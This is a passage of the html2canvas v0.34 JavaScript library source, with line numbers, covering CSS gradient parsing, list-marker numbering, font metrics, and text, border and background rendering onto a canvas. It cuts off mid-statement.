| } 460 | 461 | // get colors and stops 462 | m2 = m1[3].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}%)?)+/g); 463 | if(m2){ 464 | m2Len = m2.length; 465 | step = 1 / Math.max(m2Len - 1, 1); 466 | for(i = 0; i < m2Len; i+=1){ 467 | m3 = m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%)?/); 468 | if(m3[2]){ 469 | stop = parseFloat(m3[2]); 470 | if(m3[3]){ // percentage 471 | stop /= 100; 472 | } 473 | } else { 474 | stop = i * step; 475 | } 476 | gradient.colorStops.push({ 477 | color: m3[1], 478 | stop: stop 479 | }); 480 | } 481 | } 482 | break; 483 | 484 | case '-webkit-radial-gradient': 485 | case '-moz-radial-gradient': 486 | case '-o-radial-gradient': 487 | 488 | gradient = { 489 | type: 'circle', 490 | x0: 0, 491 | y0: 0, 492 | x1: bounds.width, 493 | y1: bounds.height, 494 | cx: 0, 495 | cy: 0, 496 | rx: 0, 497 | ry: 0, 498 | colorStops: [] 499 | }; 500 | 501 | // center 502 | m2 = m1[2].match(/(\d{1,3})%?\s(\d{1,3})%?/); 503 | if(m2){ 504 | gradient.cx = (m2[1] * bounds.width) / 100; 505 | gradient.cy = (m2[2] * bounds.height) / 100; 506 | } 507 | 508 | // size 509 | m2 = m1[3].match(/\w+/); 510 | m3 = m1[4].match(/[a-z-]*/); 511 | if(m2 && m3){ 512 | switch(m3[0]){ 513 | case 'farthest-corner': 514 | case 'cover': // is equivalent to farthest-corner 515 | case '': // mozilla removes "cover" from definition :( 516 | var tl = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.cy, 2)); 517 | var tr = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2)); 518 | var br = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2)); 519 | var bl = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.cy, 2)); 520 | gradient.rx = gradient.ry = Math.max(tl, tr, br, bl); 521 | break; 522 | case 'closest-corner': 523 | var tl = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.cy, 2)); 524 | var tr = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2)); 525 | var br = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2)); 526 | var bl = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.cy, 2)); 527 | gradient.rx = gradient.ry = Math.min(tl, tr, br, bl); 528 | break; 529 | case 'farthest-side': 530 | if(m2[0] === 'circle'){ 531 | gradient.rx = gradient.ry = Math.max( 532 | gradient.cx, 533 | gradient.cy, 534 | gradient.x1 - gradient.cx, 535 | gradient.y1 - gradient.cy 536 | ); 537 | } else { // ellipse 538 | 539 | gradient.type = m2[0]; 540 | 541 | gradient.rx = Math.max( 542 | gradient.cx, 543 | gradient.x1 - gradient.cx 544 | ); 545 | gradient.ry = Math.max( 546 | gradient.cy, 547 | gradient.y1 - gradient.cy 548 | ); 549 | } 550 | break; 551 | case 'closest-side': 552 | case 'contain': // is equivalent to closest-side 553 | if(m2[0] === 'circle'){ 554 | gradient.rx = gradient.ry = Math.min( 555 | gradient.cx, 556 | gradient.cy, 557 | gradient.x1 - gradient.cx, 558 | gradient.y1 - gradient.cy 559 | ); 560 | } else { // ellipse 561 | 562 | gradient.type = m2[0]; 563 | 564 | gradient.rx = Math.min( 565 | gradient.cx, 566 | gradient.x1 - gradient.cx 567 | ); 568 | gradient.ry = Math.min( 569 | gradient.cy, 570 | gradient.y1 - gradient.cy 571 | ); 572 | } 573 | break; 574 | 575 | // TODO: add support for "30px 40px" sizes (webkit only) 576 | } 577 | } 578 | 579 | // color stops 580 | m2 = m1[5].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}(?:%|px))?)+/g); 581 | if(m2){ 582 | m2Len = m2.length; 583 | step = 1 / Math.max(m2Len - 1, 1); 584 | for(i = 0; i < m2Len; i+=1){ 585 | m3 = m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/); 586 | if(m3[2]){ 587 | stop = parseFloat(m3[2]); 588 | if(m3[3] === '%'){ 589 | stop /= 100; 590 | } else { // px - stupid opera 591 | stop /= bounds.width; 592 | } 593 | } else { 594 | stop = i * step; 595 | } 596 | gradient.colorStops.push({ 597 | color: m3[1], 598 | stop: stop 599 | }); 600 | } 601 | } 602 | break; 603 | } 604 | } 605 | 606 | return gradient; 607 | }; 608 | 609 | _html2canvas.Generate.Gradient = function(src, bounds) { 610 | var canvas = document.createElement('canvas'), 611 | ctx = canvas.getContext('2d'), 612 | gradient, grad, i, len, img; 613 | 614 | canvas.width = bounds.width; 615 | canvas.height = bounds.height; 616 | 617 | // TODO: add support for multi defined background gradients (like radial gradient example in background.html) 618 | gradient = _html2canvas.Generate.parseGradient(src, bounds); 619 | 620 | img = new Image(); 621 | 622 | if(gradient){ 623 | if(gradient.type === 'linear'){ 624 | grad = ctx.createLinearGradient(gradient.x0, gradient.y0, gradient.x1, gradient.y1); 625 | 626 | for (i = 0, len = gradient.colorStops.length; i < len; i+=1) { 627 | try { 628 | grad.addColorStop(gradient.colorStops[i].stop, gradient.colorStops[i].color); 629 | } 630 | catch(e) { 631 | h2clog(['failed to add color stop: ', e, '; tried to add: ', gradient.colorStops[i], '; stop: ', i, '; in: ', src]); 632 | } 633 | } 634 | 635 | ctx.fillStyle = grad; 636 | ctx.fillRect(0, 0, bounds.width, bounds.height); 637 | 638 | img.src = canvas.toDataURL(); 639 | } else if(gradient.type === 'circle'){ 640 | 641 | grad = ctx.createRadialGradient(gradient.cx, gradient.cy, 0, gradient.cx, gradient.cy, gradient.rx); 642 | 643 | for (i = 0, len = gradient.colorStops.length; i < len; i+=1) { 644 | try { 645 | grad.addColorStop(gradient.colorStops[i].stop, gradient.colorStops[i].color); 646 | } 647 | catch(e) { 648 | h2clog(['failed to add color stop: ', e, '; tried to add: ', gradient.colorStops[i], '; stop: ', i, '; in: ', src]); 649 | } 650 | } 651 | 652 | ctx.fillStyle = grad; 653 | ctx.fillRect(0, 0, bounds.width, bounds.height); 654 | 655 | img.src = canvas.toDataURL(); 656 | } else if(gradient.type === 'ellipse'){ 657 | 658 | // draw circle 659 | var canvasRadial = document.createElement('canvas'), 660 | ctxRadial = canvasRadial.getContext('2d'), 661 | ri = Math.max(gradient.rx, gradient.ry), 662 | di = ri * 2, imgRadial; 663 | 664 | canvasRadial.width = canvasRadial.height = di; 665 | 666 | grad = ctxRadial.createRadialGradient(gradient.rx, gradient.ry, 0, gradient.rx, gradient.ry, ri); 667 | 668 | for (i = 0, len = gradient.colorStops.length; i < len; i+=1) { 669 | try { 670 | grad.addColorStop(gradient.colorStops[i].stop, gradient.colorStops[i].color); 671 | } 672 | catch(e) { 673 | h2clog(['failed to add color stop: ', e, '; tried to add: ', gradient.colorStops[i], '; stop: ', i, '; in: ', src]); 674 | } 675 | } 676 | 677 | ctxRadial.fillStyle = grad; 678 | ctxRadial.fillRect(0, 0, di, di); 679 | 680 | ctx.fillStyle = gradient.colorStops[i - 1].color; 681 | ctx.fillRect(0, 0, canvas.width, canvas.height); 682 | 683 | imgRadial = new Image(); 684 | imgRadial.onload = function() { // wait until the image is filled 685 | 686 | // transform circle to ellipse 687 | ctx.drawImage(imgRadial, gradient.cx - gradient.rx, gradient.cy - gradient.ry, 2 * gradient.rx, 2 * gradient.ry); 688 | 689 | img.src = canvas.toDataURL(); 690 | 691 | } 692 | imgRadial.src = canvasRadial.toDataURL(); 693 | } 694 | } 695 | 696 | return img; 697 | }; 698 | 699 | _html2canvas.Generate.ListAlpha = function(number) { 700 | var tmp = "", 701 | modulus; 702 | 703 | do { 704 | modulus = number % 26; 705 | tmp = String.fromCharCode((modulus) + 64) + tmp; 706 | number = number / 26; 707 | }while((number*26) > 26); 708 | 709 | return tmp; 710 | }; 711 | 712 | _html2canvas.Generate.ListRoman = function(number) { 713 | var romanArray = ["M", "CM", "D", "CD", "C", "XC", "L", "XL", "X", "IX", "V", "IV", "I"], 714 | decimal = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1], 715 | roman = "", 716 | v, 717 | len = romanArray.length; 718 | 719 | if (number <= 0 || number >= 4000) { 720 | return number; 721 | } 722 | 723 | for (v=0; v < len; v+=1) { 724 | while (number >= decimal[v]) { 725 | number -= decimal[v]; 726 | roman += romanArray[v]; 727 | } 728 | } 729 | 730 | return roman; 731 | 732 | }; 733 | 734 | })(); 735 | /* 736 | html2canvas v0.34 737 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 738 | http://www.twitter.com/niklasvh 739 | 740 | Released under MIT License 741 | */ 742 | 743 | /* 744 | * New function for traversing elements 745 | */ 746 | 747 | _html2canvas.Parse = function ( images, options ) { 748 | window.scroll(0,0); 749 | 750 | var support = { 751 | rangeBounds: false, 752 | svgRendering: options.svgRendering && (function( ){ 753 | var img = new Image(), 754 | canvas = document.createElement("canvas"), 755 | ctx = (canvas.getContext === undefined) ? false : canvas.getContext("2d"); 756 | if (ctx === false) { 757 | // browser doesn't support canvas, good luck supporting SVG on canvas 758 | return false; 759 | } 760 | canvas.width = canvas.height = 10; 761 | img.src = [ 762 | "data:image/svg+xml,", 763 | "", 764 | "", 765 | "
", 766 | "sup", 767 | "
", 768 | "
", 769 | "
" 770 | ].join(""); 771 | try { 772 | ctx.drawImage(img, 0, 0); 773 | canvas.toDataURL(); 774 | } catch(e) { 775 | return false; 776 | } 777 | h2clog('html2canvas: Parse: SVG powered rendering available'); 778 | return true; 779 | 780 | })() 781 | }, 782 | element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default 783 | needReorder = false, 784 | numDraws = 0, 785 | fontData = {}, 786 | doc = element.ownerDocument, 787 | ignoreElementsRegExp = new RegExp("(" + options.ignoreElements + ")"), 788 | body = doc.body, 789 | r, 790 | testElement, 791 | rangeBounds, 792 | rangeHeight, 793 | stack, 794 | ctx, 795 | docDim, 796 | i, 797 | children, 798 | childrenLen; 799 | 800 | 801 | function docSize(){ 802 | 803 | return { 804 | width: Math.max( 805 | Math.max(doc.body.scrollWidth, doc.documentElement.scrollWidth), 806 | Math.max(doc.body.offsetWidth, doc.documentElement.offsetWidth), 807 | Math.max(doc.body.clientWidth, doc.documentElement.clientWidth) 808 | ), 809 | height: Math.max( 810 | Math.max(doc.body.scrollHeight, doc.documentElement.scrollHeight), 811 | Math.max(doc.body.offsetHeight, doc.documentElement.offsetHeight), 812 | Math.max(doc.body.clientHeight, doc.documentElement.clientHeight) 813 | ) 814 | }; 815 | 816 | } 817 | 818 | images = images || {}; 819 | 820 | // Test whether we can use ranges to measure bounding boxes 821 | // Opera doesn't provide valid bounds.height/bottom even though it supports the method. 822 | 823 | 824 | if (doc.createRange) { 825 | r = doc.createRange(); 826 | //this.support.rangeBounds = new Boolean(r.getBoundingClientRect); 827 | if (r.getBoundingClientRect){ 828 | testElement = doc.createElement('boundtest'); 829 | testElement.style.height = "123px"; 830 | testElement.style.display = "block"; 831 | body.appendChild(testElement); 832 | 833 | r.selectNode(testElement); 834 | rangeBounds = r.getBoundingClientRect(); 835 | rangeHeight = rangeBounds.height; 836 | 837 | if (rangeHeight === 123) { 838 | support.rangeBounds = true; 839 | } 840 | body.removeChild(testElement); 841 | 842 | 843 | } 844 | 845 | } 846 | 847 | 848 | /* 849 | var rootStack = new this.storageContext($(document).width(),$(document).height()); 850 | rootStack.opacity = this.getCSS(this.element,"opacity"); 851 | var stack = this.newElement(this.element,rootStack); 852 | 853 | 854 | this.parseElement(this.element,stack); 855 | */ 856 | 857 | 858 | 859 | 860 | var getCSS = _html2canvas.Util.getCSS; 861 | function getCSSInt(element, attribute) { 862 | var val = parseInt(getCSS(element, attribute), 10); 863 | return (isNaN(val)) ? 0 : val; // borders in old IE are throwing 'medium' for demo.html 864 | } 865 | 866 | // Drawing a rectangle 867 | function renderRect (ctx, x, y, w, h, bgcolor) { 868 | if (bgcolor !=="transparent"){ 869 | ctx.setVariable("fillStyle", bgcolor); 870 | ctx.fillRect (x, y, w, h); 871 | numDraws+=1; 872 | } 873 | } 874 | 875 | 876 | function textTransform (text, transform) { 877 | switch(transform){ 878 | case "lowercase": 879 | return text.toLowerCase(); 880 | 881 | case "capitalize": 882 | return text.replace( /(^|\s|:|-|\(|\))([a-z])/g , function (m, p1, p2) { 883 | if (m.length > 0) { 884 | return p1 + p2.toUpperCase(); 885 | } 886 | } ); 887 | 888 | case "uppercase": 889 | return text.toUpperCase(); 890 | 891 | default: 892 | return text; 893 | 894 | } 895 | 896 | } 897 | 898 | function trimText (text) { 899 | return text.replace(/^\s*/g, "").replace(/\s*$/g, ""); 900 | } 901 | 902 | function fontMetrics (font, fontSize) { 903 | 904 | if (fontData[font + "-" + fontSize] !== undefined) { 905 | return fontData[font + "-" + fontSize]; 906 | } 907 | 908 | 909 | var container = doc.createElement('div'), 910 | img = doc.createElement('img'), 911 | span = doc.createElement('span'), 912 | baseline, 913 | middle, 914 | metricsObj; 915 | 916 | 917 | container.style.visibility = "hidden"; 918 | container.style.fontFamily = font; 919 | container.style.fontSize = fontSize; 920 | container.style.margin = 0; 921 | container.style.padding = 0; 922 | 923 | body.appendChild(container); 924 | 925 | 926 | 927 | // http://probablyprogramming.com/2009/03/15/the-tiniest-gif-ever (handtinywhite.gif) 928 | img.src = "data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACwAAAAAAQABAAACAkQBADs="; 929 | img.width = 1; 930 | img.height = 1; 931 | 932 | img.style.margin = 0; 933 | img.style.padding = 0; 934 | img.style.verticalAlign = "baseline"; 935 | 936 | span.style.fontFamily = font; 937 | span.style.fontSize = fontSize; 938 | span.style.margin = 0; 939 | span.style.padding = 0; 940 | 941 | 942 | 943 | 944 | span.appendChild(doc.createTextNode('Hidden Text')); 945 | container.appendChild(span); 946 | container.appendChild(img); 947 | baseline = (img.offsetTop - span.offsetTop) + 1; 948 | 949 | container.removeChild(span); 950 | container.appendChild(doc.createTextNode('Hidden Text')); 951 | 952 | container.style.lineHeight = "normal"; 953 | img.style.verticalAlign = "super"; 954 | 955 | middle = (img.offsetTop-container.offsetTop) + 1; 956 | metricsObj = { 957 | baseline: baseline, 958 | lineWidth: 1, 959 | middle: middle 960 | }; 961 | 962 | 963 | fontData[font + "-" + fontSize] = metricsObj; 964 | 965 | body.removeChild(container); 966 | 967 | return metricsObj; 968 | 969 | } 970 | 971 | 972 | function drawText(currentText, x, y, ctx){ 973 | if (trimText(currentText).length>0) { 974 | ctx.fillText(currentText,x,y); 975 | numDraws+=1; 976 | } 977 | } 978 | 979 | 980 | function renderText(el, textNode, stack) { 981 | var ctx = stack.ctx, 982 | family = getCSS(el, "fontFamily"), 983 | size = getCSS(el, "fontSize"), 984 | color = getCSS(el, "color"), 985 | text_decoration = getCSS(el, "textDecoration"), 986 | text_align = getCSS(el, "textAlign"), 987 | letter_spacing = getCSS(el, "letterSpacing"), 988 | bounds, 989 | text, 990 | metrics, 991 | renderList, 992 | listLen, 993 | bold = getCSS(el, "fontWeight"), 994 | font_style = getCSS(el, "fontStyle"), 995 | font_variant = getCSS(el, "fontVariant"), 996 | align = false, 997 | newTextNode, 998 | textValue, 999 | textOffset = 0, 1000 | oldTextNode, 1001 | c, 1002 | range, 1003 | parent, 1004 | wrapElement, 1005 | backupText; 1006 | 1007 | // apply text-transform:ation to the text 1008 | 1009 | 1010 | 1011 | textNode.nodeValue = textTransform(textNode.nodeValue, getCSS(el, "textTransform")); 1012 | text = trimText(textNode.nodeValue); 1013 | 1014 | if (text.length>0){ 1015 | 1016 | if (text_decoration !== "none"){ 1017 | metrics = fontMetrics(family, size); 1018 | } 1019 | 1020 | text_align = text_align.replace(["-webkit-auto"],["auto"]); 1021 | 1022 | if (options.letterRendering === false && /^(left|right|justify|auto)$/.test(text_align) && /^(normal|none)$/.test(letter_spacing)){ 1023 | // this.setContextVariable(ctx,"textAlign",text_align); 1024 | renderList = textNode.nodeValue.split(/(\b| )/); 1025 | 1026 | }else{ 1027 | // this.setContextVariable(ctx,"textAlign","left"); 1028 | renderList = textNode.nodeValue.split(""); 1029 | } 1030 | 1031 | switch(parseInt(bold, 10)){ 1032 | case 401: 1033 | bold = "bold"; 1034 | break; 1035 | case 400: 1036 | bold = "normal"; 1037 | break; 1038 | } 1039 | 1040 | ctx.setVariable("fillStyle", color); 1041 | 1042 | /* 1043 | need to be defined in the order as defined in http://www.w3.org/TR/CSS21/fonts.html#font-shorthand 1044 | to properly work in Firefox 1045 | */ 1046 | ctx.setVariable("font", font_style+ " " + font_variant + " " + bold + " " + size + " " + family); 1047 | 1048 | if (align){ 1049 | ctx.setVariable("textAlign", "right"); 1050 | }else{ 1051 | ctx.setVariable("textAlign", "left"); 1052 | } 1053 | 1054 | 1055 | /* 1056 | if (stack.clip){ 1057 | ctx.rect (stack.clip.left, stack.clip.top, stack.clip.width, stack.clip.height); 1058 | ctx.clip(); 1059 | } 1060 | */ 1061 | 1062 | 1063 | oldTextNode = textNode; 1064 | 1065 | 1066 | for ( c=0, listLen = renderList.length; c < listLen; c+=1 ) { 1067 | textValue = null; 1068 | 1069 | 1070 | 1071 | if (support.rangeBounds){ 1072 | // getBoundingClientRect is supported for ranges 1073 | if (text_decoration !== "none" || trimText(renderList[c]).length !== 0) { 1074 | textValue = renderList[c]; 1075 | if (doc.createRange){ 1076 | range = doc.createRange(); 1077 | 1078 | range.setStart(textNode, textOffset); 1079 | range.setEnd(textNode, textOffset + textValue.length); 1080 | }else{ 1081 | // TODO add IE support 1082 | range = body.createTextRange(); 1083 | } 1084 | 1085 | if (range.getBoundingClientRect()) { 1086 | bounds = range.getBoundingClientRect(); 1087 | }else{ 1088 | bounds = {}; 1089 | } 1090 | 1091 | } 1092 | }else{ 1093 | // it isn't supported, so let's wrap it inside an element instead and get the bounds there 1094 | 1095 | // IE 9 bug 1096 | if (typeof oldTextNode.nodeValue !== "string" ){ 1097 | continue; 1098 | } 1099 | 1100 | newTextNode = oldTextNode.splitText(renderList[c].length); 1101 | 1102 | parent = oldTextNode.parentNode; 1103 | wrapElement = doc.createElement('wrapper'); 1104 | backupText = oldTextNode.cloneNode(true); 1105 | 1106 | wrapElement.appendChild(oldTextNode.cloneNode(true)); 1107 | parent.replaceChild(wrapElement, oldTextNode); 1108 | 1109 | bounds = _html2canvas.Util.Bounds(wrapElement); 1110 | 1111 | textValue = oldTextNode.nodeValue; 1112 | 1113 | oldTextNode = newTextNode; 1114 | parent.replaceChild(backupText, wrapElement); 1115 | 1116 | 1117 | } 1118 | 1119 | if (textValue !== null){ 1120 | drawText(textValue, bounds.left, bounds.bottom, ctx); 1121 | } 1122 | 1123 | switch(text_decoration) { 1124 | case "underline": 1125 | // Draws a line at the baseline of the font 1126 | // TODO As some browsers display the line as more than 1px if the font-size is big, need to take that into account both in position and size 1127 | renderRect(ctx, bounds.left, Math.round(bounds.top + metrics.baseline + metrics.lineWidth), bounds.width, 1, color); 1128 | break; 1129 | case "overline": 1130 | renderRect(ctx, bounds.left, bounds.top, bounds.width, 1, color); 1131 | break; 1132 | case "line-through": 1133 | // TODO try and find exact position for line-through 1134 | renderRect(ctx, bounds.left, Math.ceil(bounds.top + metrics.middle + metrics.lineWidth), bounds.width, 1, color); 1135 | break; 1136 | 1137 | } 1138 | 1139 | 1140 | 1141 | 1142 | 1143 | textOffset += renderList[c].length; 1144 | 1145 | } 1146 | 1147 | 1148 | 1149 | } 1150 | 1151 | } 1152 | 1153 | function listPosition (element, val) { 1154 | var boundElement = doc.createElement( "boundelement" ), 1155 | type, 1156 | bounds; 1157 | 1158 | boundElement.style.display = "inline"; 1159 | //boundElement.style.width = "1px"; 1160 | //boundElement.style.height = "1px"; 1161 | 1162 | type = element.style.listStyleType; 1163 | element.style.listStyleType = "none"; 1164 | 1165 | boundElement.appendChild( doc.createTextNode( val ) ); 1166 | 1167 | 1168 | element.insertBefore(boundElement, element.firstChild); 1169 | 1170 | 1171 | bounds = _html2canvas.Util.Bounds( boundElement ); 1172 | element.removeChild( boundElement ); 1173 | element.style.listStyleType = type; 1174 | return bounds; 1175 | 1176 | } 1177 | 1178 | 1179 | 1180 | function elementIndex( el ) { 1181 | var i = -1, 1182 | count = 1, 1183 | childs = el.parentNode.childNodes; 1184 | 1185 | if ( el.parentNode ) { 1186 | while( childs[ ++i ] !== el ) { 1187 | if ( childs[ i ].nodeType === 1 ) { 1188 | count++; 1189 | } 1190 | } 1191 | return count; 1192 | } else { 1193 | return -1; 1194 | } 1195 | 1196 | } 1197 | 1198 | function renderListItem(element, stack, elBounds) { 1199 | 1200 | 1201 | var position = getCSS(element, "listStylePosition"), 1202 | x, 1203 | y, 1204 | type = getCSS(element, "listStyleType"), 1205 | currentIndex, 1206 | text, 1207 | listBounds, 1208 | bold = getCSS(element, "fontWeight"); 1209 | 1210 | if (/^(decimal|decimal-leading-zero|upper-alpha|upper-latin|upper-roman|lower-alpha|lower-greek|lower-latin|lower-roman)$/i.test(type)) { 1211 | 1212 | currentIndex = elementIndex( element ); 1213 | 1214 | switch(type){ 1215 | case "decimal": 1216 | text = currentIndex; 1217 | break; 1218 | case "decimal-leading-zero": 1219 | if (currentIndex.toString().length === 1){ 1220 | text = currentIndex = "0" + currentIndex.toString(); 1221 | }else{ 1222 | text = currentIndex.toString(); 1223 | } 1224 | break; 1225 | case "upper-roman": 1226 | text = _html2canvas.Generate.ListRoman( currentIndex ); 1227 | break; 1228 | case "lower-roman": 1229 | text = _html2canvas.Generate.ListRoman( currentIndex ).toLowerCase(); 1230 | break; 1231 | case "lower-alpha": 1232 | text = _html2canvas.Generate.ListAlpha( currentIndex ).toLowerCase(); 1233 | break; 1234 | case "upper-alpha": 1235 | text = _html2canvas.Generate.ListAlpha( currentIndex ); 1236 | break; 1237 | } 1238 | 1239 | 1240 | text += ". "; 1241 | listBounds = listPosition(element, text); 1242 | 1243 | 1244 | 1245 | switch(bold){ 1246 | case 401: 1247 | bold = "bold"; 1248 | break; 1249 | case 400: 1250 | bold = "normal"; 1251 | break; 1252 | } 1253 | 1254 | 1255 | 1256 | 1257 | ctx.setVariable( "fillStyle", getCSS(element, "color") ); 1258 | ctx.setVariable( "font", getCSS(element, "fontVariant") + " " + bold + " " + getCSS(element, "fontStyle") + " " + getCSS(element, "fontSize") + " " + getCSS(element, "fontFamily") ); 1259 | 1260 | 1261 | if ( position === "inside" ) { 1262 | ctx.setVariable("textAlign", "left"); 1263 | // this.setFont(stack.ctx, element, false); 1264 | x = elBounds.left; 1265 | 1266 | }else{ 1267 | return; 1268 | /* 1269 | TODO really need to figure out some more accurate way to try and find the position. 1270 | as defined in http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-position, it does not even have a specified "correct" position, so each browser 1271 | may display it whatever way it feels like. 1272 | "The position of the list-item marker adjacent to floats is undefined in CSS 2.1. CSS 2.1 does not specify the precise location of the marker box or its position in the painting order" 1273 | 1274 | ctx.setVariable("textAlign", "right"); 1275 | // this.setFont(stack.ctx, element, true); 1276 | x = elBounds.left - 10; 1277 | */ 1278 | } 1279 | 1280 | y = listBounds.bottom; 1281 | 1282 | drawText(text, x, y, ctx); 1283 | 1284 | 1285 | } 1286 | 1287 | 1288 | } 1289 | 1290 | function loadImage (src){ 1291 | var img = images[src]; 1292 | if (img && img.succeeded === true) { 1293 | return img.img; 1294 | } else { 1295 | return false; 1296 | } 1297 | } 1298 | 1299 | 1300 | 1301 | 1302 | 1303 | 1304 | function clipBounds(src, dst){ 1305 | 1306 | var x = Math.max(src.left, dst.left), 1307 | y = Math.max(src.top, dst.top), 1308 | x2 = Math.min((src.left + src.width), (dst.left + dst.width)), 1309 | y2 = Math.min((src.top + src.height), (dst.top + dst.height)); 1310 | 1311 | return { 1312 | left:x, 1313 | top:y, 1314 | width:x2-x, 1315 | height:y2-y 1316 | }; 1317 | 1318 | } 1319 | 1320 | function setZ(zIndex, parentZ){ 1321 | // TODO fix static elements overlapping relative/absolute elements under same stack, if they are defined after them 1322 | var newContext; 1323 | if (!parentZ){ 1324 | newContext = h2czContext(0); 1325 | return newContext; 1326 | } 1327 | 1328 | if (zIndex !== "auto"){ 1329 | needReorder = true; 1330 | newContext = h2czContext(zIndex); 1331 | parentZ.children.push(newContext); 1332 | return newContext; 1333 | 1334 | } 1335 | 1336 | return parentZ; 1337 | 1338 | } 1339 | 1340 | function renderBorders(el, ctx, bounds, clip){ 1341 | 1342 | /* 1343 | * TODO add support for different border-style's than solid 1344 | */ 1345 | 1346 | var x = bounds.left, 1347 | y = bounds.top, 1348 | w = bounds.width, 1349 | h = bounds.height, 1350 | borderSide, 1351 | borderData, 1352 | bx, 1353 | by, 1354 | bw, 1355 | bh, 1356 | borderBounds, 1357 | borders = (function(el){ 1358 | var borders = [], 1359 | sides = ["Top","Right","Bottom","Left"], 1360 | s; 1361 | 1362 | for (s = 0; s < 4; s+=1){ 1363 | borders.push({ 1364 | width: getCSSInt(el, 'border' + sides[s] + 'Width'), 1365 | color: getCSS(el, 'border' + sides[s] + 'Color') 1366 | }); 1367 | } 1368 | 1369 | return borders; 1370 | 1371 | }(el)); 1372 | 1373 | 1374 | for (borderSide = 0; borderSide < 4; borderSide+=1){ 1375 | borderData = borders[borderSide]; 1376 | 1377 | if (borderData.width>0){ 1378 | bx = x; 1379 | by = y; 1380 | bw = w; 1381 | bh = h - (borders[2].width); 1382 | 1383 | switch(borderSide){ 1384 | case 0: 1385 | // top border 1386 | bh = borders[0].width; 1387 | break; 1388 | case 1: 1389 | // right border 1390 | bx = x + w - (borders[1].width); 1391 | bw = borders[1].width; 1392 | break; 1393 | case 2: 1394 | // bottom border 1395 | by = (by + h) - (borders[2].width); 1396 | bh = borders[2].width; 1397 | break; 1398 | case 3: 1399 | // left border 1400 | bw = borders[3].width; 1401 | break; 1402 | } 1403 | 1404 | borderBounds = { 1405 | left:bx, 1406 | top:by, 1407 | width: bw, 1408 | height:bh 1409 | }; 1410 | 1411 | if (clip){ 1412 | borderBounds = clipBounds(borderBounds, clip); 1413 | } 1414 | 1415 | 1416 | if (borderBounds.width>0 && borderBounds.height>0){ 1417 | renderRect(ctx, bx, by, borderBounds.width, borderBounds.height, borderData.color); 1418 | } 1419 | 1420 | 1421 | } 1422 | } 1423 | 1424 | return borders; 1425 | 1426 | } 1427 | 1428 | 1429 | function renderFormValue (el, bounds, stack){ 1430 | 1431 | var valueWrap = doc.createElement('valuewrap'), 1432 | cssArr = ['lineHeight','textAlign','fontFamily','color','fontSize','paddingLeft','paddingTop','width','height','border','borderLeftWidth','borderTopWidth'], 1433 | i, 1434 | textValue, 1435 | textNode, 1436 | arrLen, 1437 | style; 1438 | 1439 | for (i = 0, arrLen = cssArr.length; i < arrLen; i+=1){ 1440 | style = cssArr[i]; 1441 | 1442 | try { 1443 | valueWrap.style[style] = getCSS(el, style); 1444 | } catch( e ) { 1445 | // Older IE has issues with "border" 1446 | h2clog("html2canvas: Parse: Exception caught in renderFormValue: " + e.message); 1447 | } 1448 | } 1449 | 1450 | 1451 | valueWrap.style.borderColor = "black"; 1452 | valueWrap.style.borderStyle = "solid"; 1453 | valueWrap.style.display = "block"; 1454 | valueWrap.style.position = "absolute"; 1455 | if (/^(submit|reset|button|text|password)$/.test(el.type) || el.nodeName === "SELECT"){ 1456 | valueWrap.style.lineHeight = getCSS(el, "height"); 1457 | } 1458 | 1459 | 1460 | valueWrap.style.top = bounds.top + "px"; 1461 | valueWrap.style.left = bounds.left + "px"; 1462 | 1463 | if (el.nodeName === "SELECT"){ 1464 | // TODO increase accuracy of text position 1465 | textValue = el.options[el.selectedIndex].text; 1466 | } else{ 1467 | textValue = el.value; 1468 | } 1469 | textNode = doc.createTextNode(textValue); 1470 | 1471 | valueWrap.appendChild(textNode); 1472 | body.appendChild(valueWrap); 1473 | 1474 | 1475 | renderText(el, textNode, stack); 1476 | body.removeChild(valueWrap); 1477 | 1478 | 1479 | 1480 | } 1481 | 1482 | 1483 | 1484 | 1485 | 1486 | function renderImage (ctx, image, sx, sy, sw, sh, dx, dy, dw, dh) { 1487 | ctx.drawImage( 1488 | image, 1489 | sx, //sx 1490 | sy, //sy 1491 | sw, //sw 1492 | sh, //sh 1493 | dx, //dx 1494 | dy, // dy 1495 | dw, //dw 1496 | dh //dh 1497 | ); 1498 | numDraws+=1; 1499 | 1500 | } 1501 | 1502 | 1503 | function renderBackgroundRepeat (ctx, image, x, y, width, height, elx, ely){ 1504 | var sourceX = 0, 1505 | sourceY=0; 1506 | if (elx-x>0){ 1507 | sourceX = elx-x; 1508 | } 1509 | 1510 | if (ely-y>0){ 1511 | sourceY = ely-y; 1512 | } 1513 | 1514 | renderImage( 1515 | ctx, 1516 | image, 1517 | sourceX, // source X 1518 | sourceY, // source Y 1519 | width-sourceX, // source Width 1520 | height-sourceY, // source Height 1521 | x+sourceX, // destination X 1522 | y+sourceY, // destination Y 1523 | width-sourceX, // destination width 1524 | height-sourceY // destination height 1525 | ); 1526 | } 1527 | 1528 | 1529 | function renderBackgroundRepeatY (ctx, image, bgp, x, y, w, h){ 1530 | 1531 | var height, 1532 | width = Math.min(image.width,w),bgy; 1533 | 1534 | bgp.top = 